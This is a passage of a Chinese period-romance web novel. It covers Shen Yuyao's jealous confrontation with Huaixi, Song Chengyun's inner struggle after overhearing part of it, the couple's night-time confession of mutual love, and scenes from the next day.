怀夕含笑颔首,正想绕过沈玉瑶跨进院内,没想到她款款走上前,面带微笑道:“怀夕姑娘,可否借一步说话。” 怀夕有些惊讶,但还是点点头。 青芜院往前走一小段路,是一条双面空廊,两边都是立柱,柱外加山叠石,绿树掩映,一步一景,颇有情趣。 沈玉瑶看了她身边的婢女一眼,那婢女便退到回廊尽头,空廊内只余她们二人。 怀夕很少单独同沈玉瑶相处,即便常在王府这里相遇,两人其实也很少说上话。 她其实不知道沈玉瑶将她邀到此处是有何话要说…… 既邀她来,却一直背对着她。 不过倒没让她郁闷多久,丫鬟走后不久,沈玉瑶就转过身来,华丽的嫣红裙随之在地上摆划出一条美丽的弧线。 即便沈玉瑶平日看着不好接触,但怀夕还是第一次看到她露出这样阴沉冰冷的神色。 她的下颌微微扬起,嘴角带着一丝轻蔑的笑,步步逼近,红唇微张:“我记得,宋夫人的丈夫是我朝最年轻的状元郎” 宋夫人? 怀夕皱了皱眉,在她的逼近下下意识退了两步。 “金陵城人人称赞令兄才华横溢,文采风华冠绝。” ““难道,他没有教你,基本的礼义廉耻么? 即便语气傲慢挑衅,但沈玉瑶嘴角依然挂着柔和的浅笑,逼近时也带着独属于贵女雍容精致的姿态。只是绷紧的脊背有些出卖了她脸上的淡定与不屑。 怀夕不知道她突然中了什么邪,听到她口出恶言,不欲多理她。只是转身欲走时,手臂被她紧紧扯住。 想起刚刚在廊道看到的那一幕,沈玉瑶的指尖忍不住用力扣住怀夕手臂,只是还不待用力,手掌就被怀夕扯走。 怀夕力气向来大,稍稍用力一扯,沈玉瑶就趔趄了下,手臂急忙撑在廊柱下稳住身子。只可惜指间养得长而精致的指甲碰到廊住,生生从中间折断。 一整天被裴劭忽视的那种失落感在看到他特意中途出来寻怀夕时化成巨大的悲愤,看着怀夕生气却不掩茫然的清澈眼神,沈玉瑶有些维持不住脸上的笑意,“宋夫人应当知道,我才是裴劭的未婚妻子。” “我不知道你使了什么好手段,竟能勾得宋承云为了你罔顾人伦。”因为愤怒,沈玉瑶有些口不择言,“但我要提醒你一句,请你认清自己的身份,不要去招惹不该招惹的人,否则,别说是你,就算是宋承云,我也” 听了半天,怀夕终于搞清楚沈玉瑶发的是什么疯了。 就因为她刚刚在路上和裴劭说了几句话? 怀夕有些无语,忍着听她说完,但听到她一直将脏话往哥哥身上引时,她终于不想忍了。 “我当然知道我是什么身份,但沈姑娘,你好似不太清楚自己是什么身份?”怀夕轻笑,“沈姑娘是首辅之女,贵妃之侄,裴将军之未婚妻,身份何等尊贵?” “所以,”怀夕身段高,眼睑微垂,直视沈玉瑶冒着怒火的眼睛,“沈姑娘在怕什么呢?” 仿佛被说中什么心事一般,沈玉瑶唇边娴雅的笑意凝固,涂着精致蔻丹的指甲深深掐入掌心。 “想必是沈姑娘过于珍视将军,以致于误会了什么,沈姑娘大可直接质问,怀夕可以解释。” “但姑娘不分青红皂白,讥讽辱骂我及我的家人,恐怕你才要好好再学一下礼义廉耻吧?” “你”沈玉瑶不料怀夕平日看着毫无心机,却如此牙尖嘴利,一时有些噎住。 “我的身份,勉强算是裴将军的亲戚,现在或将来,不会因为他是否有妻子而影响我们之间基本的问候。当然了,不仅是裴世子,大哥哥,二哥哥他们都如是。我想,沈姑娘作为名门闺秀,应该能想通这一点?” 怀夕只是实话实说,沈玉瑶却觉得怀夕在故意挑衅她,她有些掩饰不住内心的愤怒,精心描画的柳叶眉扭成不成长的弧度。 “宋承云也知道吗?”沈玉瑶逼着自己讲出她不愿承认的事实,她哼笑,像是威胁一般,“你的好哥哥,他知道裴劭喜欢你吗?” 即便宋承云看似清冷,但她不相信,世间有男子能容忍身边有人觊觎自己的妻子。 她知道心里扎着一根刺是什么感觉,她不好受,也必不能让怀夕好受。 第69章 第69章她确定,她喜欢哥哥…… 怀夕皱了皱眉,不明白沈玉瑶为何又将哥哥拉进来。 且不论裴劭是不是还喜欢她,就算是,哥哥知道,那又怎样? 她与哥哥已经成亲了,且她已经有些明白自己的心意了。 她喜欢哥哥 而且,若是她没有感觉错,她觉得,哥哥应当也是喜欢她的 这次她很清楚自己说的是哪种喜欢。 ——不是哥哥妹妹的那种喜欢,是男女之间的那种喜欢。 怀夕不知道自己的喜欢何时变了味,总之,她很确认自己当前的感觉。 但这些她不需要跟眼前这个失了理智的人解释。 怀夕实在不想把时间耽搁在这里,她还要赶着回去露个脸,免得待会郁心她们真挨了骂。 “不管沈姑娘对我有什么误会,我只有一句,喜欢一个人,是要靠真心去争取的。”毕竟她们以后总会有来往,怀夕也不想把话说得太难堪,她坦然地看着沈玉瑶,“你说一百句一千句伤害我的话都没有用,因为我不在意你。但裴将军是个心怀赤城之心的人,值得你真心相待。不管你信不信,我真心地祝愿他,也祝愿你,能得偿所愿,两心相契。” 到了这一步,有眼睛的人都能看得出来,沈玉瑶有多么在意裴劭。 虽然她在意的方式怀夕并不认同,但她没有立场多说什么,也不会随便指点别人。 她不知道沈玉瑶为何那般不安,诚如她所说,她身份尊贵,长得娇美,与裴劭门当户对,又定了亲 沈玉瑶怔怔地听着怀夕讲着,看着她置身事外的坦然态度,她的眼神一开始带着怒火,渐渐那些怒火开始崩裂,长长的指尖刺入手心,她死死地绷住脊背,不让自己露出一丝软弱的情绪。 直到怀夕转身走后,她那绷紧的脊背才卸了力,无力地倚在廊柱上。 她承认,是她将得不到裴劭的那种忐忑不安怪到她身上。 自从她脱下衣裙躺在裴劭身旁那一刻起,她就把一切都豁出去了。 廉耻不要,礼节不要,父母亲的期待不要 她只想要 裴劭。 她可是金陵城最负盛名的贵女啊! 裴劭怎么可以无动于衷! 沈玉瑶死死咬住嘴唇,可还是没能忍住瞬间倾洪的眼泪- 本还有晚宴,但许是午后吹了风,怀夕觉得有些头疼。原想一个人先回去,未料到同哥哥说完后,他便带着她去同夏敏等人请辞了。 一群小姑娘还是孩子心性,将怀夕送到门外,待看着她上了马车,才依依不舍地收回目光。 上了马车,困乏感愈盛,怀夕想倚在车壁上歇一会,但宋承云动作比她更快,伸手揽住她,轻轻地将她的头按到他肩上。 怀夕蹭了蹭,安心闭上眼。 宋承云虚拢着她,目光落到她玉色的脸颊上,又缓缓收回。 他无声地沉了沉气,神情看似平静,只是眸里似有一层化不开的浓稠般的黑雾。 不知过了多久,怀夕隐约察觉到颠簸不再,她缓缓地睁开眼,喏喏道:“到了?” “嗯。” 闻言,怀夕一手抵在宋承云胸前,借力坐直,然后整个人便完全离开他的怀里。 “终于到家了。”她捂着嘴打了个哈欠,掀开帘子径自下车。 马车外,松毫早就放好脚踏,怀夕无需人扶,轻巧地蹦下来,站稳后便转身等宋承云下来。 两人一同进了屋,待走到二院门外,怀夕转头对宋承云说道:“哥哥是去书房吧?” 宋承云眉头微动,想开口说些什么,就听到眼前女子自顾自说道:“我就不去了,我回屋里躺会。” 说完,月白裙裾在眼前划开一道圆弧,随之扬长而去。 宋承云看着她的背影,静立数息,也提步往书房的方向走去- 天色稍暗,到了用膳的时间,松毫站在书房外轻叩门。 “进来。” 待里头传来一声低沉的声音,他推门进去,正好看到他们公子把手里那卷书放下,推开椅子要走出来。 松毫走上前问道:“公子,今日在哪里摆膳?” 宋承云皱了皱眉,抬眸看一眼松毫。 松毫见公子皱眉,急忙解释道:“刚刚小艾过来传话,说夫人今夜无甚胃口,不想用膳,问是不是直接让厨房把膳食送到前院来,免得公子两头跑” 许久没听到宋承云的声音,松毫这才抬起头。 公子的神色向来不太看得出来喜怒,从他这个角度看过去,公子的眼睑垂落,虚虚地落在地上,倒似在发呆一般。 松毫不敢多看,低着头等着回复。 “嗯。” 宋承云走回桌前落坐。 松毫应下,觉得屋里有些昏暗,遂点亮几盏烛火后才退下。 许是松毫大意,点了烛火却没拉上内间的窗户,书桌上的烛火被夜风吹得闪烁摇晃。 但桌前的男子好似丝毫不受影响,目光仍落在书页上 只是直到松毫再来敲门,书页都不曾翻过一页- 回房后,怀夕并没有上床去休息。 已过了申时,索性吩咐琥珀她们去备水,她卸妆拆环,褪下外出的襦裙,舒服地泡了一会澡。 待泡完澡绞完发,刘婆子厨房里正好新出锅一屉玉米馍馍,小艾从厨房路过闻着香,便拿了两个到屋里。 没想到怀夕泡完澡后食欲大开,两个都吃完了,以致于到吃晚膳的时候,肚子还撑着。 让小艾去前院传话后,怀夕让琥珀把年年抱到屋子里来。 一整个冬季年年都窝着不肯动,开春后整个大了一圈,圆滚滚的。 天气暖和,年年身上便不再穿衣了,昨日刘婆子帮它洗了个澡,用了点皂子,干爽香喷,让怀夕爱不释手。 可惜年年极度不愿意被抱在怀里,使劲挣脱,怀夕只好任它溜走。 小艾传话完回来,天已经黑下来了。 怀夕罕见地没窝在罗汉床上,而是坐在窗边书案前,提笔在写着什么。 “回来啦?”怀夕没有抬头,手上继续动作,“哥哥怎么说?” “传完话我就回来了。”小艾应道,想必公子是不过来了,如果过来,松毫定会叫人过来传话的。 “嗯。”怀夕不甚在意,“这里不用你了,你和翡翠她们去用膳吧。” “是。” 小艾把圆桌上的灯也拿到怀夕边上,让她写字能更亮堂些。 走近后她看到怀夕在写信,便顺口问了句,“姑娘在给杨夫人回信?” 一页纸写满,怀夕把笔放下,又换了一页纸。 “嗯,下个月是娇娇的生辰,圆圆姐姐或许会上京。”怀夕要赶紧回信,确认她会不会来,若是来,她有好些东西要准备。 怀夕如今也不清楚圆圆姐姐是怎么想的,她搬离金陵,离开杨大人,但他们夫妻二人却始终没有和离。 至于当时搅和她们关系的那个表妹,据她所知,已经远嫁到不知何处去。 感情的事,真是很复杂,怀夕摇了摇头,催促小艾去吃饭。 小艾走后,怀夕又写了满满几页纸,这才放下笔,找来信封,将信叠好放进去。明日便可将信送到于子恒那,让他运货时顺便把信带回苏宁。 将桌面稍稍拾掇后,怀夕从桌上随意抽了一本书,又窝回到罗汉床上。 不知看了多久书,待小艾打水进来给她净手擦脸,洗簌完,几近亥时。 将发饰都拆除后,怀夕捂着嘴打了个哈欠。 等哥哥等得她都有些困了。 想必哥哥很忙吧,怀夕不想让人去打扰他,索性先躺到床上去,又特意吩咐让小艾在外间多留一盏灯。 一大早就起来,午间又没有休憩,被褥干净蓬松,有熟悉的味道,怀夕躺上没一会,就睡过去了- 亥时末,见书房内还未有动静,松毫没忍住去敲门。 进去之后,发现公子仍在看书。 松毫有些纳闷,公子今日都看了多少会书了? 这么久都还不休息么 他偷偷瞥了一眼,发现公子手里的书仍是他下午进来时看到的那本杂记 松毫心里有些嘀咕,自成婚后,除非是很必要处理的事情,公子夜里很少在书房停留,更别说是看这样的闲书了 夫人那里虽没有派人来催公子回去 但夜已经深了,松毫又担心公子认真做起事来忘了时间,想着还是提醒一下的好。 但公子,不像是忘了时间 因为待他刚准备开口,公子便提先发问:“来问了?” “”问什么? 好在松毫机敏,一下就反应过来。 看到宋承云眸里似有淡淡光亮,松毫拿捏着分寸回话:“夫人院里灯还亮着,想必还是等着公子。” 那就是没有了- 夜已深,春夜微凉,窗纸内是淡淡的暖橘色,宋承云没有停顿,推门走近屋内。 屋外,松毫提着灯笼,看着宋承云的背影,无声地松了口气 外间两盏烛火安静地燃着,一眼望过去,桌上砚台干了大半,两只墨笔搭在上面,罗汉床上的薄毯软绵绵地堆在一起,不难想象她在屋内做了什么。 宋承云吹熄其中一盏灯,在外间褪了外衣才走近内间,脚步轻得仿佛无痕,掀开帷帐,躺进去后,身边的女子仍毫无察觉。 鼻翼间有暖而软的香味,宋承云觉得这个形容很奇怪,香味怎么会是暖而软呢,但他确实是这样觉得的。 她睡得很沉,拉起被褥发出的一丝响动惊扰不到她。 她只是转了个身,背对着他。 宋承云姿势端正,手搭在被褥上,垂下眼眸。 躺了一会,困意未起,脑子里的念头却愈发乱了。 他甚少有这样的时候,脑袋如团纠紧的乱麻,迟迟找不到线头,不知该如何解开。 第70章 第70章享受她的主动亲近 不止沈玉瑶看到廊下交谈的裴劭与怀夕,宋承云也看到了。 见怀夕迟迟未归,宋承云中途也出来找她。独自到观景湖走了一圈,没找到她,倒没曾想在回来路上,瞥到她的身影。 百年世家,宏伟宽阔,亭台楼阁,廊道蜿蜒。宋承云站的位置,正好是与空廊错开的一个死角,转过空廊便能回到看戏的院子。 他没想到,有两道身影正好在此处说话。 正要回头避开时,他听到自己的名字。 一道含着怒气的女声低低说道:“宋承云知道吗?”紧接着又是一句“他知道裴劭喜欢你吗?” 宋承云的脚步一顿,不知为何,他莫名确信另一位在场的人,是怀夕。 确信很快得到确认。 很快,熟悉的清甜声音响起,“不管沈姑娘对我有什么误会,我只有一句,喜欢一个人,是要靠真心去争取的” “裴将军是个心怀赤诚之心的人,值得” 声音低低浅浅地传来,待宋承云下意识想侧耳去听清时,一阵凉风卷来几分清醒,让他反应过来自己此刻的行径。 他在做什么? 不该听人墙角,偏偏又听了一半,此刻躺在床上,他的脑海里不受控地,一直萦绕着那几句话。 喜欢一个人,是要靠真心是争取的 她说裴劭是个赤诚的人,值得什么? 他忍不住猜测,是值得她喜欢么? 相比而下,他这样趁人之危强娶她的行径,她定然觉得不齿吧? 裴劭一回来,她便一刻都不愿呆在他身边么? 浓稠的黑雾渐渐在眼眸里沉积,化成无形的绳结,他不禁在想,他是不是该放手? 可仅仅是这样想着,心口便是一阵闷痛,有猩红的暖热涌上喉间 绳结死死地扭紧,胸腔里翻涌的妒火几乎烧穿理智,这是宋承云第一次明晃晃直视自己对怀夕那股无法自控的占有执念。 明明一开始只想将她留在身边 可不行啊。 不够,远远不够。 一念之欲不能制,而祸流于滔天。 他甚至在想,若他将她永远囚起 黑暗中,宋承云用尽全力抵抗那要将他吞噬撕碎的毒蛇般的念头,他将黑沉沉的眸掩上,尝试让凶戾和红狠被隐匿。 然他身旁的女子什么都未察觉,睡梦中,她不知梦到了什么,舔了舔唇角,而后,翻了个身,轻车熟路地滚到他身边,伸手揽住他。 她的指尖轻轻搭在他的腰间,温软如初春融化的湖水,刹那间浇熄他心底翻滚的暴戾。 他浑身一僵,忽地睁眼看着顶上的帷帐。 她如神女一般,只是施舍他一点触碰,那些阴暗的、扭曲的执念,竟如晨雾遇光,一点一点溃散化开。 慢慢地,心底溢满酸涩的悸动。 宋承云小心翼翼侧过身,将她揉进自己的怀里。 不齿就不齿吧。 放手? 不可能的。 落在女子腰间的手微微使劲,宋承云恨不得将她整个嵌入自己的身体里,谁也抢不走。 怀夕在睡梦中梦见自己被年年死死地抱住,它两只毛茸茸的小爪子掐着她的脖颈,控诉她平日强抱的行径。 甚至,年年在梦里居然开口,大喊:“我让你抱个够!” 怀夕惊醒时,发现整个人不知被什么东西束缚住,同梦里一般,连呼吸都有些吃力。 她扭了扭,那股束缚的力量仿佛更重了些 以为自己还在做梦,她索性不再挣扎,任那股力量束缚。 但耳边强而有力的心跳声温暖又真实,渐渐驱散睡意,将她拉回现实。 怀夕睁开眼,慢慢反应过来 此刻,束缚住她的,好似是哥哥的怀抱 而她,也正紧紧地搂住哥哥 原来,她睡着时是这样生猛的吗? 怀夕有些心惊,控制不住从脚底从脸上,蹿起一股热意 她试图让自己狂躁的心跳平静下来平静下来 落在男子腰间的手轻轻收回,怀夕想装作无意地翻个身,但箍在她腰间的手,实在太有力了 没翻成,怀夕没忍住“唔”了一声。 细微的一声“唔”,却像一个开关,轻易让宋承云卸了全身的力。 昏暗中,他仍然怀抱着怀里的女子,连呼吸都变得小心翼翼,生怕惊碎此刻偷来的安宁 怕她发现,怕她害怕,怕她从此与他生疏,怕 “哥哥?” 怀夕敏锐地察觉到箍在腰间的力气松散掉了,她在他胸前蹭起头,眼神还带着厚厚的困意。 宁静的夜晚,帷帐将她们笼在一个小小的空间,凝神听,心跳声清晰可见。 她的,他的,分不清乱的是谁的心跳。 哥哥没应。 但怀夕知道他没睡着,离得近,她清楚听到他的心跳乱成鼓点。 她伸手去点他的脸,抿着笑意,“哥哥,你装睡。” 被发现了。 落在女子腰间那只手渐渐变得僵硬,指节泛白 宋承云缓缓睁开眼,他的喉结滚动着,可此刻说不出一个字。 怎么解释?怎么狡辩? 他垂眸对上怀中女子清澈明净的双眸,准备迎接一番厌恶质问。 “嗯。”宋承云应了声,声音轻到抓不住。 心脏一下一下地擂着,恍若天雷,神情却依然很平静。 他安静地等待她的审判,是推开,是厌恶,是控诉,是什么,他都接受。 接受,但不可能忏悔。 就算他罪孽深重,死后要坠入无间地狱,他也不可能放手的。 内心撕扯着,但看着怀夕仰着头,眨着眼,不明所以地看着他时,宋承云的手,还是慢慢抬起 算了,不能吓到她 哥哥睁开眼看她,但搂着她的力道松了,刚刚搭在自己腰间的手渐渐抬起 怀夕脸颊烧得不行,咬了咬唇,在心里默默做了一个大胆的决定。 抵在他胸前的手转而向后,握住他要抽走的指尖,按回腰间。 而后,她的手臂缓缓向上,勾住他的脖颈。 怀里的女子动作生疏,神情羞赧,但从她握住他的指尖始,她的眼眸一直没有离开过他的。 眸里沉而厚的黑雾四处逃窜,宋承云仿佛被她热烈的目光钉在原地,呆呆地任她动作。 有一刻,他甚至怀疑眼前的一切都是梦。 怀夕用了平生最大的勇气,勾上哥哥的脖颈,小而后心翼翼地观察着他的反应。 但等了一会,哥哥如平常般严肃地看着她,神情没有丝毫的波动 看似大胆,其实怀夕心里面已经慌得要死掉了,她不禁开始质疑自己,是不是太急切了一点 她以为哥哥,也喜欢她的 怀夕虽睡得沉,但因为爱做梦,她常在半夜醒来。 不知从哪个夜晚开始,她每次醒来后发现自己都在哥哥怀里。 一次两次,她不禁也有些起疑 某一个晚上,她临时起意,待哥哥上床后,她闭上眼睛,其实却在刻意敛着睡意 半梦半醒间,隔壁从躺下就不曾动过的身躯转了个身,拉开她的被褥,将她搂进怀里 怀夕很难描述那时心里的感受,震惊,诧异,犹豫,还有止不住冒起的一缕缕甜蜜 难道是她意会错了? 哥哥只 是懒得夜夜替她盖被子,才索性箍住她,不让她乱动 死了死了,怀夕瞳孔止不住晃动,现在收回她的手,还来得及吗? 她身子微微后移,强装镇定将手收回 但手却不听话,颤巍巍的,挪动的时候还滑过哥哥绷紧的下颌 小小的一下触碰似乎唤醒宋承云 他这样聪明的人,本该一眼看清怀夕的心思,但他不敢确认。 这么久的静默,他只是在确认,确认没有吓到她,确认她的动作,是他想的那个意思 怀夕很难想象,她主动迈出的这一步,对宋承云来说,意味着什么。 小姑娘还沉浸在自己慌乱的思绪时,宋承云已经勾住她的腰,第一次在她清醒的时候,完完整整将她揉进怀里。 怀夕初时怔于那样的力道,反应过来后,圆溜溜的杏眸瞪得大大的。 她咬着唇,尝试藏住内心的喜悦,可颊边若隐若现地梨涡却泄露了她的心思。 算了。 藏不住索性就不藏。 她的小脸凑近宋承云的脖颈间,蹭了蹭,想蹭走发丝沾在颊边的痒意。 只是下一刻,脖颈被微微握紧,怀夕瞪圆眼睛,看哥哥将头低下,而后,越来越近 他们身子相贴,额头贴触,怀夕紧张地连呼吸都开始错乱 当然,不止是她。 两人的呼吸卷在一块,分不清彼此,宋承云其实还有些似梦非梦的不真实感,长期的压抑让他习惯性观察,等待。 夜静谧地将所有情绪放大开来,紧张,羞涩,喜悦都是。 两人紧拥在一块,紧张羞赧是难免的,但怀夕还是从宋承云颈边蹭出来。 她大线条惯了,太久的羞赧让她有些不自在,她刻意想找个话题活跃一下周围静谧地气氛。 虽羞涩,但表明心意后,怀夕心里愈发坦然,她弯着眸子,故意问道:“哥哥喜欢我吗?” 哥哥是内秀的性子,性子疏冷,喜好不显,怀夕并没有打算真的从他嘴里听到什么话。 她已经很清晰地感受到哥哥有同她一般的情意,说这话,不过是觉得哥哥似乎比她还紧张,存着逗乐的心,想让他也缓和一下。 她没有想到,她说完后,有轻轻的温润贴在自己额头上。 许久,才缓缓移开。 巨大的狂喜将宋承云的理智扑倒,他花了很长的时间去平复,去消化,怀里如同捧着至宝一般,他只知道要抱紧,抱紧。 他从没想到会有这样一刻,比每次梦里的触碰更真实,连一缕发丝微动都能叫他微颤,何况是她柔软粉嫩唇瓣里吐出来的话。 宋承云放肆地放任自己将唇瓣贴在她的额头上,小心翼翼地碾一下,再碾一下,待怀中的女子不满地呜了一声后,他才微微退开,轻抚她的头安抚,恐自己眼里昭然的,藏不住的渴望被她看见,他垂下眼睑,克制地,认真地回道:“很喜欢。” 竟得到回复,怀夕有些意外,心里仿佛炸开了烟花。 她向来藏不住心事,此刻也无意藏起,眼眸弯得如同初一的弯月,抿唇浅笑,不吝向她心仪的男子展示自己的欢喜。 而宋承云不再避让她的目光,看着她的目光柔和地仿佛淌了水,一下又一下地抚着她的发丝,享受着她的主动亲近。 怀夕被抚得很是舒服,投桃报李,她仰起头,唇瓣在宋承云的下颌贴了贴,“我也很喜欢。” 狡黠又自得。 说完后,她整个头埋进宋承云胸前。 宋承云便将她拥得更紧,眸里黑雾化尽,只余丝丝缕缕的柔软在缠绕。【你现在阅读的是 】 70-80 第71章 第71章她竟那样大胆,去…… 一夜无梦,怀夕醒来时,天光大亮,床上只余她一人。 身上依旧是哥哥的被褥,怀夕轻咬了咬唇,将被褥拉开,盖住半张脸。 记忆全部回笼,怀夕捏了捏自己的脸颊,确认昨晚的一切都不是梦。 她竟那样大胆,去抱哥哥,去亲哥哥 哥哥竟然说他好喜欢自己 脸颊火燎般热烫,怀夕拍了拍自己的脸,不让自己想下去。 但直到洗漱完用完早膳,脸上两朵小梨涡还一直浅浅缀在脸上。 怀夕平日里也是笑盈盈的,但今日更甚,明显让每一个看到她的人都知道她心情很好。 用完膳她在院子里散步消食,故意兜到厨房。 刘婆子正在收拾早上买来的青菜,怀夕注意到角落里放着一把椿芽,她指了指那椿芽,笑着问刘婆子,“婆婆,今天又吃饺子么?” 刘婆子抬起头,笑起来时额顶有几条浅浅的皱纹,她摇头,“不包饺子,留到晚膳做个拌菜。” 刘婆子很擅长做凉拌菜,闻言,怀夕眸光亮了亮,“那拌两分吧,一份辣子少放些。” “诶,知道了。”刘婆子笑着应道,知道怀夕特意吩咐少放辣子那份是给公子准备的。 姑娘口味重,公子口味却清淡,两人能吃到一块倒也不容易。 闲逛一圈后,怀夕回屋,正好看到昨夜写好的那封信。原本想让小艾找个小厮送到于子恒铺里,但临时起意想自己去一趟。 一整个冬日都没有见过于子恒,顺便去问问他知不知道圆圆姐姐要到金陵来- 道柳街是商业街,马车进不去,怀夕搀着小艾走下马车时,正好碰见也从马车上下来的于子恒。 怀夕先看到他,笑道:“于掌柜。” 于子恒转头,看到是怀夕,目露惊喜,连忙走近。 “今日吹得什么风,竟能将宋夫人吹到这来。”之前于子恒铺子里又出了好些款式,让人送话给怀夕,叫她闲时过来看看,她都拒了,没没想到今日竟然主动出来。 听出他的揶揄,怀夕篾了他一眼,“去你铺子再说。” 每次来,铺子里的客人都不少,看得出于子恒生意做得红火。 把她领到二楼,于子恒吩咐掌柜把铺子里近来绣娘新研绣出来的几个样衣拿来给怀夕看。 专门从苏宁请来的绣娘,手艺没得说,怀夕看完后连连赞叹。看了一会样衣,又挑了件绣品,怀夕才坐下来与于子恒说正事。 小艾从带过来的小提篮里拿出一个信封给怀夕,怀夕接过来放到桌上,“帮我转交你表姐。” 于子恒接过来,“恐怕要两日后,昨日才出了一船货到岭南,暂时调不开人手。” 怀夕点头:“不急。”她拿起桌上的杯盏,抿了口茶,“圆圆姐姐说清明后或许要上金陵,你可知道?” 于子恒显然不知,急忙将口中的茶吞下,问:“什么?” “不会吧,难道表姐愿意和姐夫和好了?” 怀夕摇了摇头,“我不知,还想问你呢。” 杨铭在金陵做官,很难抽身离京,于是苦了于子恒,三天两天被他打发回苏宁看丁心兰母女。 好在他是生意人,苏宁也有他的产业,不然哪个正经做生意的能这样被他差使 不过话说回来,于子恒确实还是有些心疼他姐夫的,表姐带着侄女二话不说回了苏宁,算来都快有一年了,迟迟不愿回金陵。 说实话,他觉得姐夫也没有做错什么,又不是真碰了她那表妹。不过这话于子恒可不敢说,毕竟他算娘家人,哪有不帮亲的道理 于子恒叹了口气,“想必还没有吧,前几日我去看姐夫,酒过三巡,听他漏了点口风,竟有想外放的心思” 能留在京里做官是多么难得啊,若不是表姐不愿回来 “你在银林街不是有一处宅子吗?”怀夕扬了扬眉,“先差人收拾好吧,万一圆圆姐姐要住” “嗯。”于子恒点头,表示赞同,住不住的,都要先收拾好,免得到时临急临忙出点岔子。 怀夕又拿了她画的几个花样,放到桌上。 “这几个,我画的,你看看能不能让绣娘 帮我绣几条帕子。”怀夕拿起手上的帕子比了比位置,“大概绣在这处。” 她的绣艺不好,花样画得却好,画得是年年和丁心兰养得那只猫,栩栩如生的。 于子恒一眼就看透,“给娇娇的?” 怀夕点头。 “行。” 坐了一会,怀夕便起身想回去了,正好掌柜的来敲门。 “走了,记得帮我带信。” “诶,等等。”于子恒从掌柜手里接过食盒,单手拿给小艾,“十芳斋刚出炉的红豆糕,免得一会你还专门跑一趟。” “多谢。”怀夕弯起眼眸,向他道谢。 皙白小脸上是潋滟的笑意,像春日含苞待放的花朵,自有一抹皎然的颜色,于子恒愣了愣,却不是因怀夕的美貌。 他皱了皱眉,微倾头,“撞邪了?” 什么时候她对自己这么客气了? 于子恒越想越觉得不对劲,从街头遇到她到现在,她脸上的笑意似乎没落下过。 是有多大的喜事值当她这样? 怀夕瞪了他一眼,“你才撞邪。” “小艾,走了。”说完后,怀夕头也不回,扬长离开他的铺子,小艾回头朝于子恒欠了欠身,笑盈盈地提着食盒跟上怀夕的脚步。 看着她们主仆没心没肺的身影,于子恒无奈地摇了摇头,待下到一层,掌柜的正好递上来一封信。 “谁的信?”于子恒问。 掌柜摇头,这信是刚刚送来的,从信封上看不出谁寄的。 于子恒接过来,就地拆开,皱着眉看完。 宋承林? 他还敢找自己做生意? 于子恒约莫知道宋承林为何掳走怀夕,知道这样的事情对女子名声多少有些伤害,之前的事他对任何人从来三缄其口。 后续怀夕回来之后,宋承林被如何处理,他并不太清楚。只知道宋承云还是留了他一命,将他赶回泸州。 宋承云后来没有追究他的责任,怀夕也没有怪过他,但于子恒心头的内疚并没有因此减少,因更别说他对宋承林的怨憎。 他怎么敢利用自己行如此不轨之事! 想到当初宋承云看他的眼神,于子恒还有些心惊 若是当时怀夕出了一点差池,恐怕他都很难保住他的小命 于子恒将信揉到掌心,又嫌不解气,直接撕烂。 后来,于子恒一生都在后悔他这时的大意行事。 若他能警觉些,再警觉些,至少,多提醒怀夕一句,或许,便能挽回后来那般惨烈的结局,他也不至于一辈子活在愧疚中- 怀夕一整天的心情都很雀跃,从道柳街回来时还买了几株西府海棠的小树苗,一整个下午就在院子里倒腾。 但时间真是长啊。 出去了一趟,挖土种了树苗,到脏兮兮的被小艾她们拉去沐浴,出来后,夕阳才刚刚落下。 哥哥还没回来 说不出是什么心情,怀夕既期待哥哥回来,但心里又有些畏惧。 昨晚横跨在他们之间的窗户纸算是彻底捅破,怀夕不知道自己该以什么样的姿态同哥哥相处。 以前丝毫不用顾忌形象,但现在 “小艾,帮我换上那套烟碟轻罗裙。”怀夕坐在梳妆台前,看着镜子里自己的倒影说道。 “哦” 都晚上了小艾虽有些不明不白,还是听话地那边箱柜找。 “翡翠呢?”怀夕问正在帮她梳发的琥珀。 “翡翠姐姐说公子想必快回来了,她去厨房看膳食做好没。” 怀夕一听,更紧张了些,“你快去叫她回来,那个百合髻只有她会挽” “现在?”琥珀拂过她还有些微湿的发丝,惊讶道。 “对。” 看怀夕着急的模样,琥珀急忙放下梳子,小跑着去唤翡翠。 小艾手捧着怀夕说的那套烟碟轻罗裙走过来,试探地问道:“姑娘,公子一会是要带你去哪里么?” 怀夕自己拿着布子绞头发,回头啊了一声,“没有啊。” 小艾更是摸不着头脑,直言不讳,“不出门,那姑娘确定要穿得这样隆重?” “姑娘头发还没干透呢,挽发髻作甚?” 小艾接连两个问,怀夕张了张嘴,都答不上来 她看话本子那些姑娘都是这样做的呀,不是说女为悦己者容吗 “太刻意了么?”怀夕看着镜子,自己嗫喏道。 翡翠被琥珀急匆匆地带回来时,怀夕已经换上平日穿的素衣,正坐在梳妆台前等她们回来。 翡翠净了手擦干后才走近,“夫人,是要挽百合髻吗?”琥珀匆匆忙忙将她从厨房拉走,说的话也是不清不楚,翡翠只好再确认。 怀夕摇了摇头,“不了,就如平常一样挽起来吧。” 翡翠看了琥珀一眼,有些责怪她大惊小怪的,旁边正蹲在一旁收捡东西的琥珀听到怀夕这样说,下意识抬眼看翡翠,两人正好对上眼。 琥珀有嘴说不清,很想说,夫人,你刚刚不是这样说的! 不久,外头有丫鬟在门外通传,说是编修回来了,偏房已摆好膳,请夫人过去。 怀夕站起身,深深地吸了口气。 膳桌已经摆好了菜,莲子膳粥,鸡丝豆苗,姜汁鱼片,一叠素菜,还有今早看到的拌香椿芽。 自怀夕走进来,宋承云眼神明显亮了亮。但怀夕显然没看见,她头抬都不抬,径直走到桌前,坐了下来。 刚坐下,一碗莲子膳粥就放到自己眼前。 怀夕吞了吞口水,拿起勺子舀了一口。 一口又一口,头越来越低 若不是她红如火的耳珠子泄露了她的心事,宋承云可能不会忍不住发笑。 他问:“不合胃口?” “啊?”怀夕终于从碗箸里抬起头,“合啊。” 怀夕伸向那盘凉拌椿芽,可不知怎地,就是夹不上,她泄了气,把筷子收回来。然后,她看着哥哥也把筷子放下,然后向她伸出手。 怀夕看了他一眼,又低头看了看自己,不明白哥哥向她要什么 见哥哥目光落在自己手上,怀夕皱了皱眉。 不至于吧,就夹不上菜,还要打板子不成 她摇了摇手,试探性地将手伸出去。 然而,不是想象中的打手板,哥哥只是握住她的掌心,然后稍稍一用力 “” 等她反应过来时,她已经坐在哥哥腿上了,而另一只没被握住的手也下意识搂住他的脖颈。 第72章 第72章那些晦涩的,克制已久的…… 呼吸交错,怀夕无端想起她昨夜也是这样搂住他的 害羞过头,手下便用了力,想要推开。 只是她没想到,哥哥看着文质彬彬,可她竟推不动。 